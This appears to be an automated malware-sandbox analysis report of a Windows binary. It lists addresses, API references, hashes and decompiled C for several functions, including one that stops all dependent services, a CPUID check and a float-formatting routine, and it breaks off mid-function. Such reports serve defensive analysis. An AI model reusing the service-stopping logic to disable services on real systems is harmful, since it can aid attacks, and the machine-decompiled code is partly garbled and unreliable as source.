0x000b47b8
0x000b47af
0x000b47af
0x000b47b6
0x00000000
0x00000000
0x00000000
0x00000000
0x000b47b6
0x000b47ad
0x000b47c4
0x000b47c6
0x000b47cb
0x000b47d0
0x000b47d3
0x000b47da
0x000b47e1
0x000b47e3
0x000b47e5
0x000b47e5
0x000b47e8
0x000b47ea
0x000b47ed
0x000b47ed
0x000b47e5
0x000b47f6
0x000b47fa
0x000b47fd
0x000b4805
0x000b4813
0x000b481d
0x000b481d
0x000b476d
0x000b45d2
0x000b45d2
0x000b45d7
0x000b45d8
0x000b45dd
0x000b45e2
0x000b45e7
0x000b45ec
0x000b45ef
0x000b4665
0x000b466d
0x000b4678
0x000b4686
0x00000000
0x000b45f1
0x000b45f1
0x000b45f3
0x000b45fc
0x000b4603
0x000b4603
0x000b4608
0x000b460e
0x000b460e
0x000b4611
0x000b4613
0x000b4617
0x000b4617
0x000b461d
0x000b4623
0x000b4623
0x000b4626
0x000b462d
0x000b4637
0x000b463a
0x000b4642
0x000b4650
0x000b465a
0x000b465a
0x000b45ef
0x000b44f8
0x000b44fb
0x000b4512
0x000b4512
0x00000000

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 000B4572

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

__CxxThrowException@8.LIBVCRUNTIME ref: 000B46F6
__CxxThrowException@8.LIBVCRUNTIME ref: 000B4AFE

Part of subcall function 000B44B0: __CxxThrowException@8.LIBVCRUNTIME ref: 000B4686

__CxxThrowException@8.LIBVCRUNTIME ref: 000B489E

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

Log2Base, xrefs: 000B45D8, 000B4758
BaseN_Decoder: Log2Base must be between 1 and 7 inclusive, xrefs: 000B465D
EncodingLookupArray, xrefs: 000B4743
DecodingLookupArray, xrefs: 000B45C3, 000B46B1
BaseN_Encoder, xrefs: 000B475D
Separator, xrefs: 000B4999
Terminator, xrefs: 000B49C0
Pad, xrefs: 000B479F
PaddingByte, xrefs: 000B4781
: missing required parameter ', xrefs: 000B451E, 000B4698
BaseN_Decoder, xrefs: 000B45DD, 000B468B
BaseN_Encoder: Log2Base must be between 1 and 7 inclusive, xrefs: 000B4820
GroupSize, xrefs: 000B48EE

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: : missing required parameter '$BaseN_Decoder$BaseN_Decoder: Log2Base must be between 1 and 7 inclusive$BaseN_Encoder$BaseN_Encoder: Log2Base must be between 1 and 7 inclusive$DecodingLookupArray$EncodingLookupArray$GroupSize$Log2Base$Pad$PaddingByte$Separator$Terminator
API String ID: 654547538-807858313
Opcode ID: 04e019440ad6e8f1c6296adc5bc7604203f7302ba08918f362c4274e969079b4
Instruction ID: 485bf8d73f4a3a24451154ebc4d3c8aa12578e6410c9684945b54f6deaeb4c33
Opcode Fuzzy Hash: 04e019440ad6e8f1c6296adc5bc7604203f7302ba08918f362c4274e969079b4
Instruction Fuzzy Hash: 7EE1A1B1A00218EFDB14DF64DC45FEEBBB9EB49714F104199F419A7282DB74AA48CB90

Uniqueness

Uniqueness Score: 100.00%

Function 000947F0, Relevance: 18.1, APIs: 12, Instructions: 137
memoryservicesleepUNIQUE

Download Yara Rule

C-Code - Quality: 70%

			E000947F0(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				struct _ENUM_SERVICE_STATUS* _v8;
				signed int _v12;
				char _v20;
				signed int _v32;
				long _v44;
				intOrPtr _v64;
				struct _SERVICE_STATUS _v68;
				int _v72;
				int _v76;
				void* _v80;
				signed int _v84;
				struct _ENUM_SERVICE_STATUS* _v88;
				long _v92;
				intOrPtr _v96;
				void* _v100;
				void* _v104;
				short* _v108;
				void* __ebp;
				signed int _t44;
				signed int _t45;
				short* _t65;
				struct _SERVICE_STATUS* _t71;
				void* _t83;
				signed int _t85;
				struct _ENUM_SERVICE_STATUS* _t89;
				void* _t90;
				signed int _t91;

				_push(0xfffffffe);
				_push(0x1634b8);
				_push( &M00104660);
				_push( *[fs:0x0]);
				_t44 =  *0x16f170; // 0xd529e887
				_v12 = _v12 ^ _t44;
				_t45 = _t44 ^ _t91;
				_v32 = _t45;
				_push(_t45);
				 *[fs:0x0] =  &_v20;
				_v80 = __edx;
				_t83 = __ecx;
				_v104 = __edx;
				_v92 = GetTickCount();
				_v96 = 0x7530;
				if(EnumDependentServicesW(_t83, 1, 0, 0,  &_v72,  &_v76) == 0) {
					if(GetLastError() != 0xea) {
						L13:
					} else {
						_t89 = HeapAlloc(GetProcessHeap(), 8, _v72);
						_v88 = _t89;
						if(_t89 == 0) {
							goto L13;
						} else {
							_v8 = 0;
							if(EnumDependentServicesW(_t83, 1, _t89, _v72,  &_v72,  &_v76) == 0) {
								L12:
								E0010CF30(_t91, 0x16f170,  &_v20, 0xfffffffe);
								goto L13;
							} else {
								_t85 = 0;
								_v84 = 0;
								while(_t85 < _v76) {
									asm("movups xmm1, [esi+eax*4]");
									asm("movups xmm0, [esi+eax*4+0x10]");
									asm("movups [ebp-0x78], xmm0");
									_t65 =  *(_t89 + 0x20 + (_t85 + _t85 * 8) * 4);
									_v108 = _t65;
									asm("movd eax, xmm1");
									_t90 = OpenServiceW(_v80, _t65, 0x24);
									_v100 = _t90;
									if(_t90 == 0) {
										goto L12;
									} else {
										_v8 = 1;
										if(ControlService(_t90, 1,  &_v68) == 0) {
											goto L12;
										} else {
											while(_v64 != 1) {
												Sleep(_v44);
												_t71 =  &_v68;
												__imp__QueryServiceStatusEx(_t90, 0, _t71, 0x24,  &_v72);
												if(_t71 == 0) {
													goto L12;
												} else {
													if(_v64 == 1) {
														break;
													} else {
														if(GetTickCount() - _v92 <= _v96) {
															continue;
														} else {
															goto L12;
														}
													}
												}
												goto L17;
											}
											_v8 = 0;
											E0009497A(_t90);
											_t85 = _t85 + 1;
											_v84 = _t85;
											_t89 = _v88;
											continue;
										}
									}
									goto L17;
								}
								_v8 = 0xfffffffe;
								E000949B2(_t89);
								goto L16;
							}
						}
					}
				}
				L17:
				 *[fs:0x0] = _v20;
				return E000ECED8(_v32 ^ _t91);
			}

0x000947f3
0x000947f5
0x000947fa
0x00094805
0x00094809
0x0009480e
0x00094811
0x00094813
0x00094819
0x0009481d
0x00094825
0x00094828
0x0009482a
0x00094833
0x00094836
0x00094854
0x00094865
0x00094952
0x0009486b
0x0009487e
0x00094880
0x00094885
0x00000000
0x0009488b
0x0009488b
0x000948a9
0x0009493f
0x0009494a
0x00000000
0x000948af
0x000948af
0x000948b1
0x000948b4
0x000948c0
0x000948c4
0x000948c9
0x000948cd
0x000948d1
0x000948d6
0x000948e4
0x000948e6
0x000948eb
0x00000000
0x000948ed
0x000948ed
0x00094903
0x00000000
0x00094905
0x00094905
0x0009490e
0x0009491a
0x00094921
0x00094929
0x00000000
0x0009492b
0x0009492f
0x00000000
0x00094931
0x0009493d
0x00000000
0x00000000
0x00000000
0x00000000
0x0009493d
0x0009492f
0x00000000
0x00094929
0x00094956
0x0009495d
0x00094962
0x00094963
0x00094966
0x00000000
0x00094966
0x00094903
0x00000000
0x000948eb
0x00094982
0x00094989
0x00000000
0x00094989
0x000948a9
0x00094885
0x00094865
0x00094993
0x00094996
0x000949ae

APIs

GetTickCount.KERNEL32(D529E887,7757C452,?), ref: 0009482D
EnumDependentServicesW.ADVAPI32(?,00000001,00000000,00000000,?,?), ref: 0009484C
GetLastError.KERNEL32(?,00000001,00000000,00000000,?,?), ref: 0009485A
GetProcessHeap.KERNEL32(?,00000001,00000000,00000000,?,?), ref: 0009486E
HeapAlloc.KERNEL32(00000000,00000008,?,?,00000001,00000000,00000000,?,?), ref: 00094878
EnumDependentServicesW.ADVAPI32(?,00000001,00000000,?,?,?), ref: 000948A1
OpenServiceW.ADVAPI32(?,?,00000024,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 000948DE
ControlService.ADVAPI32(00000000,00000001,?,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 000948FB
Sleep.KERNEL32(?,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 0009490E
QueryServiceStatusEx.ADVAPI32(00000000,00000000,?,00000024,?,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?), ref: 00094921
GetTickCount.KERNEL32(?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 00094931
@_EH4_CallFilterFunc@8.LIBCMT ref: 0009494A

Part of subcall function 0009497A: CloseServiceHandle.ADVAPI32(00000000,00094962,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 0009497B

Part of subcall function 000949B2: GetProcessHeap.KERNEL32(00000000,00000000,0009498E,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 000949B5
Part of subcall function 000949B2: HeapFree.KERNEL32(00000000,?,00000001), ref: 000949BC

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: HeapService$CountDependentEnumProcessServicesTick$AllocCallCloseControlErrorFeatureFilterFreeFunc@8HandleLastOpenPresentProcessorQuerySleepStatus___raise_securityfailure
String ID:
API String ID: 2917512662-0
Opcode ID: 95cf688bcd91a9f6e22fac4c34207fad7fa26d588ea12c9b07047ce439708892
Instruction ID: 583dd47422c69698cd69c00a26502185dcdb0fbe60c19c248e298c1be481ac95
Opcode Fuzzy Hash: 95cf688bcd91a9f6e22fac4c34207fad7fa26d588ea12c9b07047ce439708892
Instruction Fuzzy Hash: D9515371D00208ABDF21CFA4DC49FAEBBB8FF09700F504129F955E6290DB74A986DB61

Uniqueness

Uniqueness Score: 100.00%

Function 000D56F0, Relevance: 15.3, Strings: 12, Instructions: 290
UNIQUECrypto

Download Yara Rule

C-Code - Quality: 27%

			E000D56F0(intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				signed int _v16;
				signed int _v32;
				signed char _v36;
				unsigned int _v40;
				char _v44;
				signed int _v48;
				unsigned int _v52;
				unsigned int _v56;
				signed int _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v80;
				signed int _t68;
				char _t72;
				char _t73;
				signed int _t75;
				intOrPtr _t76;
				intOrPtr* _t94;
				intOrPtr* _t109;
				char _t120;
				intOrPtr _t121;
				intOrPtr _t122;
				intOrPtr _t123;
				signed int _t126;
				signed int _t131;
				unsigned int _t135;
				unsigned int _t141;
				char _t146;
				char _t147;
				char _t148;
				char _t149;
				intOrPtr _t150;
				intOrPtr* _t152;
				intOrPtr* _t153;
				signed int _t154;
				intOrPtr* _t157;
				intOrPtr* _t158;
				intOrPtr* _t159;
				intOrPtr* _t161;
				intOrPtr _t165;
				intOrPtr _t176;

				_t121 = _t176;
				_v8 =  *((intOrPtr*)(_t121 + 4));
				_t174 = (_t176 - 0x00000008 & 0xfffffff0) + 4;
				_t68 =  *0x16f170; // 0xd529e887
				_v16 = _t68 ^ (_t176 - 0x00000008 & 0xfffffff0) + 0x00000004;
				_t152 =  &_v76;
				asm("xorps xmm0, xmm0");
				asm("cpuid");
				asm("movaps [ebp-0x40], xmm0");
				asm("movaps [ebp-0x30], xmm0");
				asm("movaps [ebp-0x20], xmm0");
				_t122 = _t121;
				 *_t152 = 0;
				 *((intOrPtr*)(_t152 + 4)) = _t121;
				 *((intOrPtr*)(_t152 + 8)) = 0;
				 *((intOrPtr*)(_t152 + 0xc)) = __edx;
				_t153 =  &_v60;
				asm("cpuid");
				_t123 = _t122;
				 *_t153 = 1;
				 *((intOrPtr*)(_t153 + 4)) = _t122;
				 *((intOrPtr*)(_t153 + 8)) = 0;
				 *((intOrPtr*)(_t153 + 0xc)) = __edx;
				_t126 = _v52;
				if((_v48 & 0x04000000) == 0) {
					_t72 =  *0x179059; // 0x1
					L6:
					if(_t72 == 0 || (_t126 & 0x00000200) == 0) {
						_t146 = 0;
					} else {
						_t146 = 1;
					}
					 *0x17905a = _t146;
					if(_t72 == 0 || (_t126 & 0x00080000) == 0) {
						_t147 = 0;
					} else {
						_t147 = 1;
					}
					 *0x17905b = _t147;
					if(_t72 == 0 || (_t126 & 0x00100000) == 0) {
						_t148 = 0;
					} else {
						_t148 = 1;
					}
					 *0x17905c = _t148;
					if(_t72 == 0 || (_t126 & 0x02000000) == 0) {
						_t149 = 0;
					} else {
						_t149 = 1;
					}
					 *0x17905f = _t149;
					if(_t72 == 0 || (_t126 & 0x00000002) == 0) {
						_t73 = 0;
					} else {
						_t73 = 1;
					}
					 *0x179060 = _t73;
					_t75 = _t126 & 0x18000000;
					if(_t75 == 0x18000000) {
						asm("xgetbv");
						if((_t75 & 0x00000006) != 6) {
							_t120 = 0;
						} else {
							_t120 = 1;
						}
						_t126 = _v52;
						 *0x17905d = _t120;
					}
					_t165 = _v72;
					_t76 = _v64;
					_t150 = _v68;
					if(_t165 != 0x756e6547 || _t150 != 0x6c65746e || _t76 != 0x49656e69) {
						if(_t165 != 0x68747541 || _t150 != 0x444d4163 || _t76 != 0x69746e65) {
							if(_t165 != 0x6f677948 || _t150 != 0x656e6975 || _t76 != 0x6e65476e) {
								if(_t165 == 0x746e6543 && _t150 == 0x736c7561 && _t76 == 0x48727561) {
									_t157 =  &_v44;
									asm("cpuid");
									_t123 = _t123;
									 *_t157 = 0xc0000000;
									 *((intOrPtr*)(_t157 + 4)) = _t123;
									 *((intOrPtr*)(_t157 + 8)) = 0;
									 *((intOrPtr*)(_t157 + 0xc)) = _t150;
									if(_v44 >= 0xc0000001) {
										asm("cpuid");
										_t123 = _t123;
										 *_t157 = 0xc0000001;
										 *((intOrPtr*)(_t157 + 4)) = _t123;
										 *((intOrPtr*)(_t157 + 8)) = 0;
										 *((intOrPtr*)(_t157 + 0xc)) = _t150;
										_t131 = _v32;
										 *0x179066 = (_t131 & 0x0000000c) == 0xc;
										 *0x179067 = (_t131 & 0x000000c0) == 0xc0;
										 *0x179068 = (_t131 & 0x00000300) == 0x300;
										 *0x179069 = (_t131 & 0x00000c00) == 0xc00;
										 *0x17906a = (_t131 & 0x00003000) == 0x3000;
									}
								}
								_t154 =  *0x16f080; // 0x40
								goto L50;
							} else {
								goto L42;
							}
						} else {
							L42:
							_t158 =  &_v44;
							asm("cpuid");
							_t123 = _t123;
							 *_t158 = 0x80000005;
							 *((intOrPtr*)(_t158 + 4)) = _t123;
							 *((intOrPtr*)(_t158 + 8)) = 0;
							 *((intOrPtr*)(_t158 + 0xc)) = _t150;
							_t154 = _v36 & 0x000000ff;
							_v80 = _t154;
							 *0x179064 = _v52 >> 0x0000001e & 0x00000001;
							if(_v76 >= 7) {
								asm("cpuid");
								_t123 = _t123;
								_t159 =  &_v44;
								 *_t159 = 7;
								_t94 = _t159;
								_t154 = _v80;
								 *((intOrPtr*)(_t94 + 4)) = _t123;
								 *((intOrPtr*)(_t94 + 8)) = 0;
								 *((intOrPtr*)(_t94 + 0xc)) = _t150;
								_t135 = _v40;
								 *0x179065 = _t135 >> 0x00000012 & 0x00000001;
								 *0x179062 = _t135 >> 0x00000013 & 0x00000001;
								 *0x179061 = _t135 >> 0x0000001d & 0x00000001;
								 *0x17905e = _t135 >> 0x00000005 & 0x00000001;
							}
							goto L50;
						}
					} else {
						 *0x179063 = (_v60 & 0x00000f00) == 0xf00;
						_t154 = (_v56 >> 0x00000008 & 0x000000ff) << 3;
						_v80 = _t154;
						 *0x179064 = _t126 >> 0x0000001e & 0x00000001;
						if(_v76 >= 7) {
							asm("cpuid");
							_t123 = _t123;
							_t161 =  &_v44;
							 *_t161 = 7;
							_t109 = _t161;
							_t154 = _v80;
							 *((intOrPtr*)(_t109 + 4)) = _t123;
							 *((intOrPtr*)(_t109 + 8)) = 0;
							 *((intOrPtr*)(_t109 + 0xc)) = _t150;
							_t141 = _v40;
							 *0x179065 = _t141 >> 0x00000012 & 0x00000001;
							 *0x179062 = _t141 >> 0x00000013 & 0x00000001;
							 *0x179061 = _t141 >> 0x0000001d & 0x00000001;
							 *0x17905e = _t141 >> 0x00000005 & 0x00000001;
						}
						L50:
						_t155 =  ==  ? 0x20 : _t154;
						 *0x16f080 =  ==  ? 0x20 : _t154;
						 *0x179058 = 1;
						return E000ECED8(_v16 ^ _t174);
					}
				}
				if((_t126 & 0x08000000) != 0) {
					L4:
					_t126 = _v52;
					_t72 = 1;
					 *0x179059 = 1;
					goto L6;
				}
				_t72 = E000D6890();
				if(_t72 != 0) {
					goto L4;
				} else {
					_t126 = _v52;
					 *0x179059 = _t72;
					goto L6;
				}
			}

0x000d56f1
0x000d5700
0x000d5704
0x000d5709
0x000d5710
0x000d5717
0x000d571c
0x000d5720
0x000d5724
0x000d5728
0x000d572c
0x000d5730
0x000d5731
0x000d5738
0x000d573b
0x000d5740
0x000d5743
0x000d5747
0x000d574b
0x000d574c
0x000d574e
0x000d5751
0x000d5754
0x000d575e
0x000d5761
0x000d578a
0x000d578f
0x000d5791
0x000d579f
0x000d579b
0x000d579b
0x000d579b
0x000d57a1
0x000d57a9
0x000d57b7
0x000d57b3
0x000d57b3
0x000d57b3
0x000d57b9
0x000d57c1
0x000d57cf
0x000d57cb
0x000d57cb
0x000d57cb
0x000d57d1
0x000d57d9
0x000d57e7
0x000d57e3
0x000d57e3
0x000d57e3
0x000d57e9
0x000d57f1
0x000d57fc
0x000d57f8
0x000d57f8
0x000d57f8
0x000d57fe
0x000d5805
0x000d580f
0x000d5813
0x000d581c
0x000d5822
0x000d581e
0x000d581e
0x000d581e
0x000d5824
0x000d5827
0x000d5827
0x000d582c
0x000d582f
0x000d5832
0x000d583b
0x000d58ef
0x000d5906
0x000d59ba
0x000d59dc
0x000d59e2
0x000d59e6
0x000d59e7
0x000d59e9
0x000d59ec
0x000d59ef
0x000d59f9
0x000d5a03
0x000d5a07
0x000d5a08
0x000d5a0a
0x000d5a0d
0x000d5a10
0x000d5a13
0x000d5a1f
0x000d5a2f
0x000d5a42
0x000d5a53
0x000d5a66
0x000d5a66
0x000d59f9
0x000d5a6d
0x00000000
0x00000000
0x00000000
0x00000000
0x000d5923
0x000d5923
0x000d5928
0x000d592e
0x000d5932
0x000d5933
0x000d5938
0x000d593b
0x000d5941
0x000d594a
0x000d594e
0x000d5951
0x000d5956
0x000d5964
0x000d5968
0x000d5969
0x000d596c
0x000d596e
0x000d5970
0x000d5973
0x000d5976
0x000d5979
0x000d597c
0x000d5986
0x000d5992
0x000d59a4
0x000d59a9
0x000d59a9
0x00000000
0x000d5956
0x000d5858
0x000d5868
0x000d587b
0x000d5882
0x000d5885
0x000d588b
0x000d5899
0x000d589d
0x000d589e
0x000d58a1
0x000d58a3
0x000d58a5
0x000d58a8
0x000d58ab
0x000d58ae
0x000d58b1
0x000d58bb
0x000d58c7
0x000d58d9
0x000d58de
0x000d58de
0x000d5a73
0x000d5a7a
0x000d5a7d
0x000d5a83
0x000d5a9c
0x000d5a9c
0x000d583b
0x000d5769
0x000d577e
0x000d577e
0x000d5781
0x000d5783
0x00000000
0x000d5783
0x000d576b
0x000d5772
0x00000000
0x000d5774
0x000d5774
0x000d5777
0x00000000
0x000d5777

Strings

enti, xrefs: 000D58F9
ntel, xrefs: 000D5841
cAMD, xrefs: 000D58F1
Auth, xrefs: 000D58E9
Cent, xrefs: 000D59B4
aurH, xrefs: 000D59CC
nGen, xrefs: 000D5918
Genu, xrefs: 000D5835
ineI, xrefs: 000D584D
uine, xrefs: 000D590C
auls, xrefs: 000D59C0
Hygo, xrefs: 000D5900

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: Auth$Cent$Genu$Hygo$auls$aurH$cAMD$enti$ineI$nGen$ntel$uine
API String ID: 3761405300-2607262942
Opcode ID: 7da8e0f8098d72f25fd559a882b91e35fcc588b2db0c80995d882bf63cf272de
Instruction ID: 68cbb25745cf2e32700c6768b7e11fe552d1d6a8b16ffcfe2803aa8241cfde96
Opcode Fuzzy Hash: 7da8e0f8098d72f25fd559a882b91e35fcc588b2db0c80995d882bf63cf272de
Instruction Fuzzy Hash: 48A11772919745CFDB28CF2CEC816ECBBF5AB24310F28815BDC49A7752C3259985CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 00128166, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381
COMMONCrypto

Download Yara Rule

C-Code - Quality: 65%

			E00128166(signed short __edx, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr* _a16, signed int _a20, intOrPtr _a24) {
				intOrPtr _v0;
				signed int _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				char _v460;
				signed short _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed short _v1865;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				signed int _v1888;
				signed short _v1892;
				signed short _v1896;
				intOrPtr _v1900;
				signed short _v1904;
				signed short _v1908;
				signed int _v1912;
				signed int _v1916;
				signed int _v1920;
				signed int _v1924;
				signed int _v1928;
				char _v1936;
				char _v1944;
				char _v2404;
				signed int _v2408;
				intOrPtr _v2452;
				intOrPtr _v2456;
				void* __edi;
				void* __esi;
				signed int _t739;
				signed short _t749;
				signed short _t750;
				signed short _t756;
				signed short _t757;
				signed int _t758;
				signed int _t759;
				signed short _t760;
				signed short _t765;
				signed short _t766;
				signed short _t772;
				signed short _t778;
				intOrPtr _t780;
				void* _t781;
				signed int _t782;
				signed int _t783;
				signed short _t784;
				signed int _t793;
				signed int _t798;
				signed int _t799;
				signed short _t800;
				signed short _t803;
				signed short _t804;
				signed short _t805;
				signed int _t807;
				signed int _t808;
				signed short _t809;
				signed int _t810;
				signed int _t815;
				signed int _t816;
				signed short _t822;
				signed int _t823;
				signed int _t826;
				signed int _t831;
				signed int _t839;
				signed int* _t842;
				signed int _t846;
				signed int _t857;
				signed int _t858;
				signed short _t860;
				char* _t861;
				signed short _t864;
				signed int _t868;
				signed int _t869;
				signed short _t874;
				signed int _t876;
				signed short _t881;
				signed int _t890;
				signed int _t893;
				signed int _t895;
				signed short _t898;
				signed short _t899;
				signed int _t900;
				signed int _t903;
				signed int _t916;
				signed int _t917;
				signed short _t919;
				char* _t920;
				signed short _t923;
				signed int _t927;
				signed int _t928;
				signed int* _t930;
				signed short _t933;
				signed int _t935;
				signed short _t940;
				signed int _t948;
				signed int _t951;
				signed int _t955;
				signed int* _t962;
				intOrPtr _t964;
				void* _t965;
				intOrPtr* _t967;
				signed int* _t971;
				unsigned int _t982;
				signed int _t983;
				void* _t986;
				signed int _t987;
				void* _t989;
				signed int _t990;
				signed int _t991;
				signed short _t992;
				signed short _t1002;
				signed int _t1007;
				signed int _t1010;
				unsigned int _t1013;
				signed int _t1014;
				void* _t1017;
				signed int _t1018;
				void* _t1020;
				signed int _t1021;
				signed int _t1022;
				signed short _t1023;
				signed int _t1028;
				signed int* _t1033;
				signed int _t1035;
				signed int _t1045;
				intOrPtr _t1046;
				void* _t1047;
				void _t1051;
				signed int _t1054;
				void* _t1057;
				signed int _t1065;
				signed short _t1067;
				signed int _t1068;
				signed int _t1073;
				signed int _t1074;
				signed int _t1077;
				signed int _t1078;
				signed int _t1080;
				signed int _t1081;
				signed short _t1082;
				signed int _t1086;
				signed int _t1090;
				signed int _t1091;
				signed short _t1092;
				signed int _t1094;
				signed int _t1095;
				signed short _t1096;
				signed int _t1097;
				signed int _t1098;
				signed int _t1099;
				signed int _t1101;
				signed int _t1102;
				signed short _t1103;
				signed int _t1104;
				signed int _t1105;
				signed int _t1106;
				unsigned int _t1107;
				void* _t1110;
				intOrPtr _t1112;
				signed int _t1113;
				signed int _t1114;
				signed short _t1115;
				signed int* _t1119;
				void* _t1123;
				void* _t1124;
				signed short _t1125;
				signed int _t1126;
				signed int _t1127;
				signed short _t1130;
				signed short _t1131;
				signed int _t1136;
				signed short _t1138;
				signed short _t1139;
				signed short _t1141;
				signed int _t1144;
				char _t1149;
				signed int _t1151;
				signed short _t1152;
				signed short _t1153;
				signed short _t1154;
				signed int _t1155;
				signed short _t1156;
				signed int _t1157;
				signed short _t1161;
				signed int _t1162;
				signed int _t1163;
				signed short _t1164;
				signed int _t1165;
				unsigned int _t1168;
				void* _t1172;
				void* _t1173;
				unsigned int _t1174;
				signed short _t1179;
				signed int _t1180;
				signed short _t1182;
				signed int _t1183;
				intOrPtr* _t1185;
				signed int _t1186;
				intOrPtr _t1187;
				void* _t1188;
				signed int _t1192;
				signed short _t1193;
				signed int _t1196;
				signed int _t1198;
				signed short _t1199;
				void* _t1200;
				signed short _t1201;
				signed int _t1202;
				signed short _t1203;
				void* _t1206;
				signed short _t1207;
				signed short _t1208;
				signed int _t1209;
				signed int _t1210;
				signed int _t1211;
				signed int* _t1214;
				signed short _t1215;
				signed short _t1216;
				signed int _t1217;
				signed int _t1218;
				intOrPtr* _t1220;
				intOrPtr* _t1221;
				signed int _t1223;
				signed int _t1225;
				signed int _t1228;
				signed int _t1234;
				signed int _t1238;
				signed short* _t1239;
				signed short _t1245;
				signed int _t1248;
				signed short _t1249;
				signed int _t1250;
				signed short _t1251;
				signed short _t1252;
				signed int _t1253;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed short _t1258;
				signed int _t1260;
				signed int _t1261;
				signed int _t1262;
				signed int _t1263;
				signed int _t1264;
				signed int _t1266;
				signed int _t1267;
				signed int _t1269;
				signed int _t1271;
				signed int _t1273;
				signed int _t1276;
				signed int _t1280;
				signed int* _t1281;
				signed int* _t1286;
				signed int _t1295;

				_t1138 = __edx;
				_t1276 = _t1280;
				_t1281 = _t1280 - 0x964;
				_t739 =  *0x16f170; // 0xd529e887
				_v8 = _t739 ^ _t1276;
				_t1045 = _a20;
				_t1185 = _a16;
				_v1924 = _t1185;
				_v1920 = _t1045;
				E0012813C( &_v1944, __eflags);
				_t1238 = _a8;
				_t744 = 0x2d;
				if((_t1238 & 0x80000000) == 0) {
					_t744 = 0x120;
				}
				 *_t1185 = _t744;
				 *((intOrPtr*)(_t1185 + 8)) = _t1045;
				_t1186 = _a4;
				if((_t1238 & 0x7ff00000) != 0) {
					L6:
					_t749 = E0011E1B1( &_a4);
					_pop(_t1063);
					__eflags = _t749;
					if(_t749 != 0) {
						_t1063 = _v1924;
						 *((intOrPtr*)(_v1924 + 4)) = 1;
					}
					_t750 = _t749 - 1;
					__eflags = _t750;
					if(_t750 == 0) {
						_push("1#INF");
						goto L309;
					} else {
						_t765 = _t750 - 1;
						__eflags = _t765;
						if(_t765 == 0) {
							_push("1#QNAN");
							goto L309;
						} else {
							_t766 = _t765 - 1;
							__eflags = _t766;
							if(_t766 == 0) {
								_push("1#SNAN");
								goto L309;
							} else {
								__eflags = _t766 == 1;
								if(_t766 == 1) {
									_push("1#IND");
									goto L309;
								} else {
									_v1928 = _v1928 & 0x00000000;
									_a4 = _t1186;
									_a8 = _t1238 & 0x7fffffff;
									_t1295 = _a4;
									asm("fst qword [ebp-0x768]");
									_t1192 = _v1896;
									_v1916 = _a12 + 1;
									_t1073 = _t1192 >> 0x14;
									_t772 = _t1073 & 0x000007ff;
									__eflags = _t772;
									if(_t772 != 0) {
										_t1141 = 0;
										_t772 = 0;
										__eflags = 0;
									} else {
										_t1141 = 1;
									}
									_t1193 = _t1192 & 0x000fffff;
									_t1051 = _v1900 + _t772;
									asm("adc edi, esi");
									__eflags = _t1141;
									_t1074 = _t1073 & 0x000007ff;
									_t1245 = _t1074 - 0x434 + (0 | _t1141 != 0x00000000) + 1;
									_v1872 = _t1245;
									E0012B270(_t1074, _t1295);
									_push(_t1074);
									_push(_t1074);
									 *_t1281 = _t1295;
									_t778 = E0012C580(E0012B380(_t1193, _t1245), _t1295);
									_v1904 = _t778;
									__eflags = _t778 - 0x7fffffff;
									if(_t778 == 0x7fffffff) {
										L17:
